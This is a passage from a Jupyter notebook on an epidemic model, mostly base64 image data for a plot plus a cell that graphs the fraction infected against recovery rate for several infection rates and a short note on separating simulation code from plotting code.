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\n", "text/plain": [ "<Figure size 504x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "plt.figure(figsize=(7, 4))\n", "\n", "\n", "for beta in [1.1, 0.9, 0.7, 0.5, 0.3]:\n", " label = 'beta = ' + str(beta)\n", " plot(frame.row[beta], label=label)\n", " \n", "decorate(xlabel='Recovery rate (gamma)',\n", " ylabel='Fraction infected')\n", "\n", "plt.legend(bbox_to_anchor=(1.02, 1.02))\n", "plt.tight_layout()\n", "savefig('figs/chap13-fig03.pdf')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "It's often useful to separate the code that generates results from the code that plots the results, so we can run the simulations once, save the results, and then use them for different analysis, visualization, etc.\n", "\n", "After running `sweep_parameters`, we have a `SweepFrame` with one row for each value of `beta` and one column for each value of `gamma`." ] }, { "cell_type": "code", "execution_count": 23, "metadata": { "scrolled": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Saving figure to file figs/chap13-fig04.pdf\n" ] }, { "data": { "image/png": 